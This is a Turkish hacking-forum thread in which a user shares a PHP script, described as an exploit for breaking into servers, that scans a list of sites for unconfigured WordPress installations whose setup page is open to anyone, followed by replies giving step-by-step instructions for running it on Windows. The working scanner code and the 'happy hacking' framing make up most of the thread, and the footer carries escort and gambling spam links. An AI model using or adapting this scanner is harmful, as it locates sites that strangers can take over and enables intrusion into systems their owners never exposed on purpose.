WPinstall Exploit [Wordpress Kurulmamış Siteleri Tarar]

Nihilist

Yeni Üye
Katılım
21 Şub 2016
Mesajlar
19
Tepkime puanı
0
Puanları
0
Uzun zaman önce sunuculara sızmak için kodladığım bir exploittir. Pek çok defa işime yaradı. Sizlerle de paylaşayım dedim. Bol hackler :)

Kullanim:
php wpinstall.php sitelistesi.txt

x829s2ye.png

4qw4tcik.png

r9278cuz.png


PHP:
<?php
echo "\r\n";
echo '##	Coded By Nihilist';
echo "\r\n";
echo '##	Ajanlar.ORG';
echo "\r\n";
echo "\r\n";
set_time_limit(0);
error_reporting(0);

if (isset($argv[1]))
{
	$oku = file_get_contents($argv[1]);
	$ayir = split("\r\n",$oku);
	foreach($ayir as $siteler)
	{
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $siteler."/wp-admin/setup-config.php");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
		curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
		curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
		curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
		$icerik = curl_exec($ch);
		curl_close($ch);
		if (strstr($icerik,'setup-config.php?step=1'))
		{
			echo $siteler." --> Var :)\r\n";
		}
		else
		{
			
		}

	}

}
else{
	echo 'Ornek: php wpinstall.php sitelistesi.txt';
}





?>
 

BH80

Yeni Üye
Katılım
10 Ara 2015
Mesajlar
97
Tepkime puanı
0
Puanları
0
Bunu cmd ilemi çalıştırıyoruz yoksa sunucuyamı atıyoruz ?
 

Nihilist

Yeni Üye
Katılım
21 Şub 2016
Mesajlar
19
Tepkime puanı
0
Puanları
0
BH80' Alıntı:
Bunu cmd ilemi çalıştırıyoruz yoksa sunucuyamı atıyoruz ?

Bu bir php exploittir. Herhangi bir php derleyici ile kullanılabilir. Appserv adlı programı öneririm.

Appserv programını yükledikten sonra exploiti herhangi bir yere atacaksın.
Mesela c:\ içine at.



Sonra cmdye girip aşağıdaki komutu gireceksin:

cd c:\

ardından

php wpinstall.php sitelistesi.txt

komutunu gireceksin.


Tabi ki önce sitelistesi.txt içine taranacak tüm siteleri atacaksın.
 

BH80

Yeni Üye
Katılım
10 Ara 2015
Mesajlar
97
Tepkime puanı
0
Puanları
0
appserv kurdum exploitleride dediğin gibi C:/ attım ancak komutu verince böyle oluyor sıkıntı ne ?



Wkndpm.png
 

Nihilist

Yeni Üye
Katılım
21 Şub 2016
Mesajlar
19
Tepkime puanı
0
Puanları
0
BH80' Alıntı:
appserv kurdum exploitleride dediğin gibi C:/ attım ancak komutu verince böyle oluyor sıkıntı ne ?



Wkndpm.png


Php tanımlaması yapılmamış. Sen exploiti
C:\AppServ\php5 içerisinde çalıştır. Sorun hallolacaktır.
 

sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort mersin escort mersin web tasarım bodrum escort fethiye escort alanya escort konya escort konya escort bodrum escort vozol puff Gamdom izmit escort izmit escort
Üst
Copyright® Ajanlar.org 2012